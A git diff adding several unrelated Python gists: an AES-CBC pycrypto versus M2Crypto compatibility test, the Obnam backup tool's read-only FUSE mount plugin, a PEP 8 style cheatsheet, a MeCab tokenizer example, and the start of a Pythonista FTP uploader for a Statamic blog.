+    c1 = ShowClock(devices)
+    c2 = ShowUsers(devices)
+    instances = [c1, c2]
+
+    # Call the run method for each instance to get a list of Deferred task objects.
+    deferreds = []
+    for i in instances:
+        deferreds.append(i.run())
+
+    # Here we use a DeferredList to track a list of Deferred tasks that only 
+    # returns once they've all completed.
+    d = defer.DeferredList(deferreds)
+
+    # Once every task has returned a result, stop the reactor
+    d.addBoth(stop_reactor)
+
+    # And... finally, start the reactor to kick things off.
+    reactor.run()
diff --git a/hard-gists/4546068/._snippet.py b/hard-gists/4546068/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4546068/._snippet.py differ
diff --git a/hard-gists/4546068/snippet.py b/hard-gists/4546068/snippet.py
new file mode 100644
index 00000000..d2ca6faa
--- /dev/null
+++ b/hard-gists/4546068/snippet.py
@@ -0,0 +1,109 @@
+from binascii import hexlify, unhexlify
+from hashlib import md5
+from Crypto.Cipher import AES
+try:
+    from M2Crypto import EVP
+except ImportError:
+    EVP = None
+
+
+def m2_encrypt(plaintext, key, iv, key_as_bytes=False, padding=True):
+    cipher = EVP.Cipher(alg="aes_256_cbc", key=key, iv=iv,
+                        key_as_bytes=key_as_bytes, padding=padding, op=1)
+    return cipher.update(plaintext) + cipher.final()
+
+def m2_decrypt(ciphertext, key, iv, key_as_bytes=False, padding=True):
+    cipher = EVP.Cipher(alg="aes_256_cbc", key=key, iv=iv,
+                        key_as_bytes=key_as_bytes, padding=padding, op=0)
+    return cipher.update(ciphertext) + cipher.final()
+
+
+def py_encrypt(plaintext, key, iv, key_as_bytes=False, padding=True):
+    if key_as_bytes:
+        key = bytes_to_key(key)
+    cipher = AES.new(key, AES.MODE_CBC, iv)
+    if padding:
+        plaintext = pkcs7_encode(plaintext)
+    return cipher.encrypt(plaintext)
+
+def py_decrypt(ciphertext, key, iv, key_as_bytes=False, padding=True):
+    if key_as_bytes:
+        key = bytes_to_key(key)
+    cipher = AES.new(key, AES.MODE_CBC, iv)
+    plaintext = cipher.decrypt(ciphertext)
+    if padding:
+        plaintext = pkcs7_decode(plaintext)
+    return plaintext
+
+
+def pkcs7_encode(text, k=16):
+    n = k - (len(text) % k)
+    return text + unhexlify(n * ("%02x" % n))
+
+def pkcs7_decode(text, k=16):
+    n = int(hexlify(text[-1]), 16)
+    if n > k:
+        raise ValueError("Input is not padded or padding is corrupt")
+    return text[:-n]
+
+def bytes_to_key(data, salt="12345678"):
+    # Simplified version of M2Crypto.m2.bytes_to_key(). Based on:
+    # https://github.com/ajmirsky/M2Crypto/blob/master/M2Crypto/EVP.py#L105
+    # http://stackoverflow.com/questions/8008253/c-sharp-version-of-openssl-evp-bytestokey-method
+    assert len(salt) == 8, len(salt)
+    data += salt
+    key = md5(data).digest()
+    key += md5(key + data).digest()
+    return key
+
+
+def test_pycrypto(plaintext, key, iv, key_as_bytes, padding):
+    ciphertext = py_encrypt(plaintext, key, iv, key_as_bytes, padding)
+    assert py_decrypt(ciphertext, key, iv, key_as_bytes, padding) == plaintext
+    return ciphertext
+
+def test_m2crypto(plaintext, key, iv, key_as_bytes, padding):
+    ciphertext = m2_encrypt(plaintext, key, iv, key_as_bytes, padding)
+    assert m2_decrypt(ciphertext, key, iv, key_as_bytes, padding) == plaintext
+    return ciphertext
+
+if EVP:
+    def test(*args):
+        py_ciphertext = test_pycrypto(*args)
+        m2_ciphertext = test_m2crypto(*args)
+        assert py_ciphertext == m2_ciphertext
+else:
+    test = test_pycrypto
+
+def gen_test_inputs():
+    from os import urandom
+    from itertools import product
+
+    keys = [urandom(32) for _ in xrange(2)]
+    ivs = [urandom(16) for _ in xrange(2)]
+    key_as_bytes = [False, True]
+
+    # padding=False
+    plaintexts = [urandom(16 * n) for n in xrange(1025)]
+    for combo in product(plaintexts, keys, ivs, key_as_bytes, [False]):
+        yield combo
+
+    # padding=True
+    plaintexts = [urandom(n) for n in xrange(1025)]
+    for combo in product(plaintexts, keys, ivs, key_as_bytes, [True]):
+        yield combo
+
+def benchmark(test_func):
+    from time import time
+    t = time()
+    for combo in gen_test_inputs():
+        test_func(*combo)
+    return time() - t
+
+if __name__ == "__main__":
+    for combo in gen_test_inputs():
+        test(*combo)
+
+    print "pycrypto: %.2fs" % benchmark(test_pycrypto)
+    if EVP:
+        print "M2Crypto: %.2fs" % benchmark(test_m2crypto)
diff --git a/hard-gists/4547295/._snippet.py b/hard-gists/4547295/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4547295/._snippet.py differ
diff --git a/hard-gists/4547295/snippet.py b/hard-gists/4547295/snippet.py
new file mode 100644
index 00000000..26e342b2
--- /dev/null
+++ b/hard-gists/4547295/snippet.py
@@ -0,0 +1,633 @@
+# Copyright (C) 2013  Valery Yundin
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+
+import os
+import stat
+import sys
+import logging
+import errno
+import struct
+
+import obnamlib
+
+try:
+    import fuse
+    fuse.fuse_python_api = (0, 2)
+except ImportError:
+    class Bunch:
+        def __init__(self, **kwds):
+            self.__dict__.update(kwds)
+    fuse = Bunch(Fuse = object)
+
+
+class ObnamFuseOptParse(object):
+    '''Option parsing class for FUSE
+
+       has to set fuse_args.mountpoint
+    '''
+
+    obnam = None
+
+    def __init__(self, *args, **kw):
+        self.fuse_args = \
+            'fuse_args' in kw and kw.pop('fuse_args') or fuse.FuseArgs()
+        if 'fuse' in kw:
+            self.fuse = kw.pop('fuse')
+
+    def parse_args(self, args=None, values=None):
+        self.fuse_args.mountpoint = self.obnam.app.settings['to']
+        for opt in self.obnam.app.settings['fuse-opt']:
+            if opt == '-f':
+                self.fuse_args.setmod('foreground')
+            else:
+                self.fuse_args.add(opt)
+        if not hasattr(self.fuse_args, 'ro'):
+            self.fuse_args.add('ro')
+
+
+class ObnamFuseFile(object):
+
+    fs = None  # points to active ObnamFuse object
+
+    direct_io = False   # do not use direct I/O on this file.
+    keep_cache = True   # cached file data need not to be invalidated.
+
+    def __init__(self, path, flags, *mode):
+        logging.debug('FUSE file open %s %d', path, flags)
+        if ((flags & os.O_WRONLY) or (flags & os.O_RDWR) or
+            (flags & os.O_CREAT) or (flags & os.O_EXCL) or
+            (flags & os.O_TRUNC) or (flags & os.O_APPEND)):
+            raise IOError(errno.EROFS, 'Read only filesystem')
+        try:
+            self.path = path
+
+            if path == '/.pid' and self.fs.obnam.app.settings['viewmode'] == 'multiple':
+                self.read = self.read_pid
+                self.release = self.release_pid
+                return
+
+            self.metadata = self.fs.get_metadata(path)
+            # if not a regular file return EINVAL
+            if not stat.S_ISREG(self.metadata.st_mode):
+                raise IOError(errno.EINVAL, 'Invalid argument')
+
+            self.chunkids = None
+            self.chunksize = None
+            self.lastdata = None
+            self.lastblock = None
+        except:
+            logging.error('Unexpected exception', exc_info=True)
+            raise
+
+    def read_pid(self, length, offset):
+        logging.debug('FUSE read_pid %d %d', length, offset)
+        pid = str(os.getpid())
+        if length < len(pid) or offset != 0:
+            return ''
+        else:
+            return pid
+
+    def release_pid(self, flags):
+        self.fs.root_refresh()
+        return 0
+
+    def fgetattr(self):
+        logging.debug('FUSE file fgetattr')
+        return self.fs.getattr(self.path)
+
+    def read(self, length, offset):
+        logging.debug('FUSE file read(%s, %d, %d)', self.path, length, offset)
+        try:
+            if length == 0 or offset >= self.metadata.st_size:
+                return ''
+
+            repo = self.fs.obnam.repo
+            gen, repopath = self.fs.get_gen_path(self.path)
+
+            # if stored inside B-tree
+            contents = repo.get_file_data(gen, repopath)
+            if contents is not None:
+                return contents[offset:offset+length]
+
+            # stored in chunks
+            if not self.chunkids:
+                self.chunkids = repo.get_file_chunks(gen, repopath)
+
+            if len(self.chunkids) == 1:
+                if not self.lastdata:
+                    self.lastdata = repo.get_chunk(self.chunkids[0])
+                return self.lastdata[offset:offset+length]
+            else:
+                chunkdata = None
+                if not self.chunksize:
+                    # take the cached value as the first guess for chunksize
+                    self.chunksize = self.fs.sizecache.get(gen, self.fs.chunksize)
+                    blocknum = offset/self.chunksize
+                    blockoffs = offset - blocknum*self.chunksize
+
+                    # read a chunk if guessed blocknum and chunksize make sense
+                    if blocknum < len(self.chunkids):
+                        chunkdata = repo.get_chunk(self.chunkids[blocknum])
+                    else:
+                        chunkdata = ''
+
+                    # check if chunkdata is of expected length
+                    validate = min(self.chunksize, self.metadata.st_size - blocknum*self.chunksize)
+                    if validate != len(chunkdata):
+                        if blocknum < len(self.chunkids)-1:
+                            # the length of all but last chunks is chunksize
+                            self.chunksize = len(chunkdata)
+                        else:
+                            # guessing failed, get the length of the first chunk
+                            self.chunksize = len(repo.get_chunk(self.chunkids[0]))
+                        chunkdata = None
+
+                    # save correct chunksize
+                    self.fs.sizecache[gen] = self.chunksize
+
+                if not chunkdata:
+                    blocknum = offset/self.chunksize
+                    blockoffs = offset - blocknum*self.chunksize
+                    if self.lastblock == blocknum:
+                        chunkdata = self.lastdata
+                    else:
+                        chunkdata = repo.get_chunk(self.chunkids[blocknum])
+
+                output = []
+                while True:
+                    output.append(chunkdata[blockoffs:blockoffs+length])
+                    readlength = len(chunkdata) - blockoffs
+                    if length > readlength and blocknum < len(self.chunkids)-1:
+                        length -= readlength
+                        blocknum += 1
+                        blockoffs = 0
+                        chunkdata = repo.get_chunk(self.chunkids[blocknum])
+                    else:
+                        self.lastblock = blocknum
+                        self.lastdata = chunkdata
+                        break
+                return ''.join(output)
+        except (OSError, IOError), e:
+            logging.debug('FUSE Expected exception')
+            raise
+        except:
+            logging.exception('Unexpected exception')
+            raise
+
+    def release(self, flags):
+        logging.debug('FUSE file release %d', flags)
+        self.lastdata = None
+        return 0
+
+    def fsync(self, isfsyncfile):
+        logging.debug('FUSE file fsync')
+        return 0
+
+    def flush(self):
+        logging.debug('FUSE file flush')
+        return 0
+
+    def ftruncate(self, size):
+        logging.debug('FUSE file ftruncate %d', size)
+        return 0
+
+    def lock(self, cmd, owner, **kw):
+        logging.debug('FUSE file lock %s %s %s', repr(cmd), repr(owner), repr(kw))
+        raise IOError(errno.EOPNOTSUPP, 'Operation not supported')
+
+
+class ObnamFuse(fuse.Fuse):
+    '''FUSE main class
+
+    '''
+
+    MAX_METADATA_CACHE = 512
+
+    def root_refresh(self):
+        logging.debug('FUSE root_refresh is called')
+        if self.obnam.app.settings['viewmode'] == 'multiple':
+            try:
+                self.obnam.reopen()
+                repo = self.obnam.repo
+                generations = [gen for gen in repo.list_generations()
+                                if not repo.get_is_checkpoint(gen)]
+                logging.debug('FUSE root_refresh found %d generations' % len(generations))
+                self.rootstat, self.rootlist = self.multiple_root_list(generations)
+                self.metadatacache.clear()
+            except:
+                logging.exception('Unexpected exception')
+                raise
+
+    def get_metadata(self, path):
+        #logging.debug('FUSE get_metadata(%s)', path)
+        try:
+            return self.metadatacache[path]
+        except KeyError:
+            if len(self.metadatacache) > self.MAX_METADATA_CACHE:
+                self.metadatacache.clear()
+            metadata = self.obnam.repo.get_metadata(*self.get_gen_path(path))
+            self.metadatacache[path] = metadata
+            # FUSE does not allow negative timestamps, truncate to zero
+            if metadata.st_atime_sec < 0:
+                metadata.st_atime_sec = 0
+            if metadata.st_mtime_sec < 0:
+                metadata.st_mtime_sec = 0
+            return metadata
+
+    def get_stat(self, path):
+        logging.debug('FUSE get_stat(%s)', path)
+        metadata = self.get_metadata(path)
+        st = fuse.Stat()
+        st.st_mode = metadata.st_mode
+        st.st_dev = metadata.st_dev
+        st.st_nlink = metadata.st_nlink
+        st.st_uid = metadata.st_uid
+        st.st_gid = metadata.st_gid
+        st.st_size = metadata.st_size
+        st.st_atime = metadata.st_atime_sec
+        st.st_mtime = metadata.st_mtime_sec
+        st.st_ctime = st.st_mtime
+        return st
+
+    def single_root_list(self, gen):
+        repo = self.obnam.repo
+        mountroot = self.obnam.mountroot
+        rootlist = {}
+        for entry in repo.listdir(gen, mountroot):
+            path = '/' + entry
+            rootlist[path] = self.get_stat(path)
+        rootstat = self.get_stat('/')
+        return (rootstat, rootlist)
+
+    def multiple_root_list(self, generations):
+        repo = self.obnam.repo
+        mountroot = self.obnam.mountroot
+        rootlist = {}
+        used_generations = []
+        for gen in generations:
+            path = '/' + str(gen)
+            try:
+                genstat = self.get_stat(path)
+                start, end = repo.get_generation_times(gen)
+                genstat.st_ctime = genstat.st_mtime = end
+                rootlist[path] = genstat
+                used_generations.append(gen)
+            except obnamlib.Error:
+                pass
+
+        if not used_generations:
+            raise obnamlib.Error('No generations found for %s' % mountroot)
+
+        latest = used_generations[-1]
+        laststat = rootlist['/' + str(latest)]
+        rootstat = fuse.Stat(**laststat.__dict__)
+
+        laststat = fuse.Stat(target=str(latest), **laststat.__dict__)
+        laststat.st_mode &= ~(stat.S_IFDIR | stat.S_IFREG)
+        laststat.st_mode |= stat.S_IFLNK
+        rootlist['/latest'] = laststat
+
+        pidstat = fuse.Stat(**rootstat.__dict__)
+        pidstat.st_mode = stat.S_IFREG | stat.S_IRUSR | stat.S_IRGRP | stat.S_IROTH
+        rootlist['/.pid'] = pidstat
+
+        return (rootstat, rootlist)
+
+    def init_root(self):
+        repo = self.obnam.repo
+        mountroot = self.obnam.mountroot
+        generations = self.obnam.app.settings['generation']
+
+        if self.obnam.app.settings['viewmode'] == 'single':
+            if len(generations) != 1:
+                raise obnamlib.Error(
+                    'The single mode wants exactly one generation option')
+
+            gen = repo.genspec(generations[0])
+            if mountroot == '/':
+                self.get_gen_path = lambda path: (gen, path)
+            else:
+                self.get_gen_path = (lambda path : path == '/'
+                                        and (gen, mountroot)
+                                        or (gen, mountroot + path))
+
+            self.rootstat, self.rootlist = self.single_root_list(gen)
+            logging.debug('FUSE single rootlist %s', repr(self.rootlist))
+        elif self.obnam.app.settings['viewmode'] == 'multiple':
+            # we need the list of all real (non-checkpoint) generations
+            if len(generations) == 1:
+                generations = [gen for gen in repo.list_generations()
+                               if not repo.get_is_checkpoint(gen)]
+
+            if mountroot == '/':
+                def gen_path_0(path):
+                    if path.count('/') == 1:
+                        gen = path[1:]
+                        return (int(gen), mountroot)
+                    else:
+                        gen, repopath = path[1:].split('/', 1)
+                        return (int(gen), mountroot + repopath)
+                self.get_gen_path = gen_path_0
+            else:
+                def gen_path_n(path):
+                    if path.count('/') == 1:
+                        gen = path[1:]
+                        return (int(gen), mountroot)
+                    else:
+                        gen, repopath = path[1:].split('/', 1)
+                        return (int(gen), mountroot + '/' + repopath)
+                self.get_gen_path = gen_path_n
+
+            self.rootstat, self.rootlist = self.multiple_root_list(generations)
+            logging.debug('FUSE multiple rootlist %s', repr(self.rootlist))
+        else:
+            raise obnamlib.Error('Unknown value for viewmode')
+
+    def __init__(self, *args, **kw):
+        self.obnam = kw['obnam']
+        ObnamFuseFile.fs = self
+        self.file_class = ObnamFuseFile
+        self.metadatacache = {}
+        self.chunksize = self.obnam.app.settings['chunk-size']
+        self.sizecache = {}
+        self.rootlist = None
+        self.rootstat = None
+        self.init_root()
+        fuse.Fuse.__init__(self, *args, **kw)
+
+    def getattr(self, path):
+        try:
+            if path.count('/') == 1:
+                if path == '/':
+                    return self.rootstat
+                elif path in self.rootlist:
+                    return self.rootlist[path]
+                else:
+                    raise obnamlib.Error('ENOENT')
+            else:
+                return self.get_stat(path)
+        except obnamlib.Error:
+            raise IOError(errno.ENOENT, 'No such file or directory')
+        except:
+            logging.error('Unexpected exception', exc_info=True)
+            raise
+
+    def readdir(self, path, fh):
+        logging.debug('FUSE readdir(%s, %s)', path, repr(fh))
+        try:
+            if path == '/':
+                listdir = [x[1:] for x in self.rootlist.keys()]
+            else:
+                listdir = self.obnam.repo.listdir(*self.get_gen_path(path))
+            return [fuse.Direntry(name) for name in ['.', '..'] + listdir]
+        except obnamlib.Error:
+            raise IOError(errno.EINVAL, 'Invalid argument')
+        except:
+            logging.error('Unexpected exception', exc_info=True)
+            raise
+
+    def readlink(self, path):
+        try:
+            statdata = self.rootlist.get(path)
+            if statdata and hasattr(statdata, 'target'):
+                return statdata.target
+            metadata = self.get_metadata(path)
+            if metadata.islink():
+                return metadata.target
+            else:
+                raise IOError(errno.EINVAL, 'Invalid argument')
+        except obnamlib.Error:
+            raise IOError(errno.ENOENT, 'No such file or directory')
+        except:
+            logging.error('Unexpected exception', exc_info=True)
+            raise
+
+    def statfs(self):
+        logging.debug('FUSE statfs')
+        try:
+            repo = self.obnam.repo
+            if self.obnam.app.settings['viewmode'] == 'multiple':
+                blocks = sum(repo.client.get_generation_data(gen)
+                            for gen in repo.list_generations())
+                files = sum(repo.client.get_generation_file_count(gen)
+                            for gen in repo.list_generations())
+            else:
+                gen = self.get_gen_path('/')[0]
+                blocks = repo.client.get_generation_data(gen)
+                files = repo.client.get_generation_file_count(gen)
+            stv = fuse.StatVfs()
+            stv.f_bsize   = 65536
+            stv.f_frsize  = 0
+            stv.f_blocks  = blocks/65536
+            stv.f_bfree   = 0
+            stv.f_bavail  = 0
+            stv.f_files   = files
+            stv.f_ffree   = 0
+            stv.f_favail  = 0
+            stv.f_flag    = 0
+            stv.f_namemax = 255
+            #raise OSError(errno.ENOSYS, 'Unimplemented')
+            return stv
+        except:
+            logging.error('Unexpected exception', exc_info=True)
+            raise
+
+    def getxattr(self, path, name, size):
+        logging.debug('FUSE getxattr %s %s %d', path, name, size)
+        try:
+            try:
+                metadata = self.get_metadata(path)
+            except ValueError:
+                return 0
+            if not metadata.xattr:
+                return 0
+            blob = metadata.xattr
+            sizesize = struct.calcsize('!Q')
+            name_blob_size = struct.unpack('!Q', blob[:sizesize])[0]
+            name_blob = blob[sizesize : sizesize + name_blob_size]
+            name_list = name_blob.split('\0')[:-1]
+            if name in name_list:
+                value_blob = blob[sizesize + name_blob_size : ]
+                idx = name_list.index(name)
+                fmt = '!' + 'Q' * len(name_list)
+                lengths_size = sizesize * len(name_list)
+                lengths_list = struct.unpack(fmt, value_blob[:lengths_size])
+                if size == 0:
+                    return lengths_list[idx]
+                pos = lengths_size + sum(lengths_list[:idx])
+                value = value_blob[pos:pos + lengths_list[idx]]
+                return value
+        except obnamlib.Error:
+            raise IOError(errno.ENOENT, 'No such file or directory')
+        except:
+            logging.error('Unexpected exception', exc_info=True)
+            raise
+
+    def listxattr(self, path, size):
+        logging.debug('FUSE listxattr %s %d', path, size)
+        try:
+            metadata = self.get_metadata(path)
+            if not metadata.xattr:
+                return 0
+            blob = metadata.xattr
+            sizesize = struct.calcsize('!Q')
+            name_blob_size = struct.unpack('!Q', blob[:sizesize])[0]
+            if size == 0:
+                return name_blob_size
+            name_blob = blob[sizesize : sizesize + name_blob_size]
+            return name_blob.split('\0')[:-1]
+        except obnamlib.Error:
+            raise IOError(errno.ENOENT, 'No such file or directory')
+        except:
+            logging.error('Unexpected exception', exc_info=True)
+            raise
+
+    def fsync(self, path, isFsyncFile):
+        return 0
+
+    def chmod(self, path, mode):
+        raise IOError(errno.EROFS, 'Read only filesystem')
+
+    def chown(self, path, uid, gid):
+        raise IOError(errno.EROFS, 'Read only filesystem')
+
+    def link(self, targetPath, linkPath):
+        raise IOError(errno.EROFS, 'Read only filesystem')
+
+    def mkdir(self, path, mode):
+        raise IOError(errno.EROFS, 'Read only filesystem')
+
+    def mknod(self, path, mode, dev):
+        raise IOError(errno.EROFS, 'Read only filesystem')
+
+    def rename(self, oldPath, newPath):
+        raise IOError(errno.EROFS, 'Read only filesystem')
+
+    def rmdir(self, path):
+        raise IOError(errno.EROFS, 'Read only filesystem')
+
+    def symlink(self, targetPath, linkPath):
+        raise IOError(errno.EROFS, 'Read only filesystem')
+
+    def truncate(self, path, size):
+        raise IOError(errno.EROFS, 'Read only filesystem')
+
+    def unlink(self, path):
+        raise IOError(errno.EROFS, 'Read only filesystem')
+
+    def utime(self, path, times):
+        raise IOError(errno.EROFS, 'Read only filesystem')
+
+    def write(self, path, buf, offset):
+        raise IOError(errno.EROFS, 'Read only filesystem')
+
+    def setxattr(self, path, name, val, flags):
+        raise IOError(errno.EROFS, 'Read only filesystem')
+
+    def removexattr(self, path, name):
+        raise IOError(errno.EROFS, 'Read only filesystem')
+
+
+class MountPlugin(obnamlib.ObnamPlugin):
+
+    '''Mount backup repository as a user-space filesystem.
+
+    At the momemnt only a specific generation can be mounted
+
+    '''
+
+    def enable(self):
+        mount_group = obnamlib.option_group['mount'] = 'Mounting with FUSE'
+        self.app.add_subcommand('mount', self.mount,
+                                arg_synopsis='[ROOT]')
+        self.app.settings.choice(['viewmode'],
+                                 ['single', 'multiple'],
+                                 '"single" directly mount specified generation, '
+                                 '"multiple" mount all generations as separate directories',
+                                 metavar='MODE',
+                                 group=mount_group)
+        self.app.settings.string_list(['fuse-opt'],
+                                      'options to pass directly to Fuse',
+                                      metavar='FUSE', group=mount_group)
+
+    def mount(self, args):
+        '''Mount a backup repository as a FUSE filesystem.
+
+        This subcommand allows you to access backups in an Obnam
+        backup repository as normal files and directories. Each
+        backed up file or directory can be viewed directly, using
+        a graphical file manager or command line tools.
+
+        Example: To mount your backup repository:
+
+        mkdir my-fuse
+        obnam mount --viewmode multiple --to my-fuse
+
+        You can then access the backup using commands such as these:
+
+        ls -l my-fuse
+        ls -l my-fuse/latest
+        diff -u my-fuse/latest/home/liw/README ~/README
+        
+        You can also restore files by copying them from the
+        my-fuse directory:
+
+        cp -a my-fuse/12765/Maildir ~/Maildir.restored
+
+        To un-mount:
+
+        fusermount -u my-fuse
+
+        '''
+
+        if not hasattr(fuse, 'fuse_python_api'):
+            raise obnamlib.Error('Failed to load module "fuse", '
+                                 'try installing python-fuse')
+        self.app.settings.require('repository')
+        self.app.settings.require('client-name')
+        self.app.settings.require('to')
+        self.cwd = os.getcwd()
+        self.repo = self.app.open_repository()
+        self.repo.open_client(self.app.settings['client-name'])
+
+        self.mountroot = (['/'] + self.app.settings['root'] + args)[-1]
+        if self.mountroot != '/':
+            self.mountroot = self.mountroot.rstrip('/')
+
+        logging.debug('FUSE Mounting %s@%s:%s to %s', self.app.settings['client-name'],
+                        self.app.settings['generation'],
+                        self.mountroot, self.app.settings['to'])
+
+        try:
+            ObnamFuseOptParse.obnam = self
+            fs = ObnamFuse(obnam=self, parser_class=ObnamFuseOptParse)
+            fs.flags = 0
+            fs.multithreaded = 0
+            fs.parse()
+            fs.main()
+        except fuse.FuseError, e:
+            raise obnamlib.Error(repr(e))
+
+        self.repo.fs.close()
+
+    def reopen(self):
+        try:
+            os.chdir(self.cwd)
+        except OSError:
+            pass
+        self.repo.fs.close()
+        self.repo = self.app.open_repository()
+        self.repo.open_client(self.app.settings['client-name'])
diff --git a/hard-gists/454964087739a449da04/._snippet.py b/hard-gists/454964087739a449da04/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/454964087739a449da04/._snippet.py differ
diff --git a/hard-gists/454964087739a449da04/snippet.py b/hard-gists/454964087739a449da04/snippet.py
new file mode 100644
index 00000000..e02c927e
--- /dev/null
+++ b/hard-gists/454964087739a449da04/snippet.py
@@ -0,0 +1,124 @@
+#! /usr/bin/env python
+# -*- coding: utf-8 -*-
+"""This module's docstring summary line.
+
+This is a multi-line docstring. Paragraphs are separated with blank lines.
+Lines conform to 79-column limit.
+
+Module and packages names should be short, lower_case_with_underscores.
+Notice that this in not PEP8-cheatsheet.py
+
+Seriously, use flake8. Atom.io with https://atom.io/packages/linter-flake8
+is awesome!
+
+See http://www.python.org/dev/peps/pep-0008/ for more PEP-8 details
+"""
+
+
+import os  # STD lib imports first
+import sys  # alphabetical
+
+import some_third_party_lib  # 3rd party stuff next
+import some_third_party_other_lib  # alphabetical
+
+import local_stuff  # local stuff last
+import more_local_stuff
+import dont_import_two, modules_in_one_line  # IMPORTANT!
+from pyflakes_cannot_handle import *  # and there are other reasons it should be avoided # noqa
+# Using # noqa in the line above avoids flake8 warnings about line length!
+
+
+_a_global_var = 2  # so it won't get imported by 'from foo import *'
+_b_global_var = 3
+
+A_CONSTANT = 'ugh.'
+
+
+# 2 empty lines between top-level funcs + classes
+def naming_convention():
+    """Write docstrings for ALL public classes, funcs and methods.
+
+    Functions use snake_case.
+    """
+    if x == 4:  # x is blue <== USEFUL 1-liner comment (2 spaces before #)
+        x, y = y, x  # inverse x and y <== USELESS COMMENT (1 space after #)
+    c = (a + b) * (a - b)  # operator spacing should improve readability.
+    dict['key'] = dict[0] = {'x': 2, 'cat': 'not a dog'}
+
+
+class NamingConvention(object):
+    """First line of a docstring is short and next to the quotes.
+
+    Class and exception names are CapWords.
+
+    Closing quotes are on their own line
+    """
+
+    a = 2
+    b = 4
+    _internal_variable = 3
+    class_ = 'foo'  # trailing underscore to avoid conflict with builtin
+
+    # this will trigger name mangling to further discourage use from outside
+    # this is also very useful if you intend your class to be subclassed, and
+    # the children might also use the same var name for something else; e.g.
+    # for simple variables like 'a' above. Name mangling will ensure that
+    # *your* a and the children's a will not collide.
+    __internal_var = 4
+
+    # NEVER use double leading and trailing underscores for your own names
+    __nooooooodontdoit__ = 0
+
+    # don't call anything (because some fonts are hard to distiguish):
+    l = 1
+    O = 2
+    I = 3
+
+    # some examples of how to wrap code to conform to 79-columns limit:
+    def __init__(self, width, height,
+                 color='black', emphasis=None, highlight=0):
+        if width == 0 and height == 0 and \
+           color == 'red' and emphasis == 'strong' or \
+           highlight > 100:
+            raise ValueError('sorry, you lose')
+        if width == 0 and height == 0 and (color == 'red' or
+                                           emphasis is None):
+            raise ValueError("I don't think so -- values are %s, %s" %
+                             (width, height))
+        Blob.__init__(self, width, height,
+                      color, emphasis, highlight)
+
+    # empty lines within method to enhance readability; no set rule
+    short_foo_dict = {'loooooooooooooooooooong_element_name': 'cat',
+                      'other_element': 'dog'}
+
+    long_foo_dict_with_many_elements = {
+        'foo': 'cat',
+        'bar': 'dog'
+    }
+
+    # 1 empty line between in-class def'ns
+    def foo_method(self, x, y=None):
+        """Method and function names are lower_case_with_underscores.
+
+        Always use self as first arg.
+        """
+        pass
+
+    @classmethod
+    def bar(cls):
+        """Use cls!"""
+        pass
+
+# a 79-char ruler:
+# 34567891123456789212345678931234567894123456789512345678961234567897123456789
+
+"""
+Common naming convention names:
+snake_case
+MACRO_CASE
+camelCase
+CapWords
+"""
+
+# Newline at end of file
diff --git a/hard-gists/4555097/._snippet.py b/hard-gists/4555097/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4555097/._snippet.py differ
diff --git a/hard-gists/4555097/snippet.py b/hard-gists/4555097/snippet.py
new file mode 100644
index 00000000..cc720ffd
--- /dev/null
+++ b/hard-gists/4555097/snippet.py
@@ -0,0 +1,22 @@
+#!/usr/bin/env python                                                                                                                                           
+#-*- coding:utf-8 -*-                                                                                                                                           
+import MeCab
+
+m = MeCab.Tagger("-Ochasen")
+string = u"それサバンナでも同じ事言えんの？"
+
+# MeCabでUnicode文字列を扱う場合は、一度エンコードする必要がある。                                                                                              
+# この際、                                                                                                                                                      
+# node = tagger.parseToNode(string.encode("utf-8"))                                                                                                             
+# とすると、stringがパース中にガベコレされてしまって、                                                                                                          
+# 変な挙動になる場合があるので注意。このように一度変数に代入すれば問題ない。                                                                                    
+string = string.encode("utf-8")
+node = m.parseToNode(string)
+
+# ノードを順番にたどる。                                                                                                                                        
+# node.surface, node.feature はstr型なので、                                                                                                                    
+# この時点でunicode型に変換する方がトラブル防止のためにはいいかも。                                                                                             
+while node:
+    print node.surface, node.feature
+    node = node.next
+
diff --git a/hard-gists/4555911/._snippet.py b/hard-gists/4555911/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4555911/._snippet.py differ
diff --git a/hard-gists/4555911/snippet.py b/hard-gists/4555911/snippet.py
new file mode 100644
index 00000000..9875fad5
--- /dev/null
+++ b/hard-gists/4555911/snippet.py
@@ -0,0 +1,226 @@
+# Allows you to upload simple articles and images from clipboard
+# to your Statamic site using Pythonista.
+# 
+# There are several variables which must be completed for this
+# script. Please read below carefully and fill out all of the. See
+# options.
+# 
+# This script was originally based on a script I found at 
+# David Spark's Macdrifter site:
+# http://macdrifter.com/2012/11/the-power-of-pythonista-12.html
+
+import Image, ImageOps, ImageFilter
+import ftplib
+from string import Template
+import datetime
+from io import BytesIO
+import cStringIO
+import urllib
+from unicodedata import normalize
+import sys
+import keychain
+import console
+import clipboard
+console.clear()
+
+# FTP credentials. Self explanatory. uses keychain
+# to store FTP password
+userName = "username"
+userPass = keychain.get_password("ftp",userName)
+host = "mysite.com"
+rootDir = "/public_html/"
+
+# These are specific fields that I want to add to my YAML info 
+# at the top of my article. You may not have a need for these
+# so simply remove them from the code and be sure to clean 
+# up the 'template' variable below as well as the 'values'
+# template way below.
+
+post_template_name = "blog"
+author = "admin"
+
+# This is my post template. You can change it to whatever you need
+# yours to look like. However, the values are populated down further
+# in the script and you will need to ensure that your '$y' variables
+# match up otherwise the script will fail in a not so graceful manner. Also, i have a strange way of creating header images  for posts.
+# It's bot common to have that 'photos' list at the bottom of the template 
+# you may want to move '$yPhotos' below the dashed lines into your content
+template ='''---
+title: $yTitle
+_templates: $yTemplate
+author: $yAuthor
+categories:
+ - $yCategories
+status: $yStatus
+photos: 
+ - url: $yPhotos
+---
+$yContent'''
+
+# standard locations for images and content for Statamic
+imgBase = "/assets/img/"
+contentBase = "/_content/"
+imgRemotePath = rootDir + imgBase
+txtRemotePath = rootDir + contentBase
+
+# Let's get the image from the clipboard and ask some questions
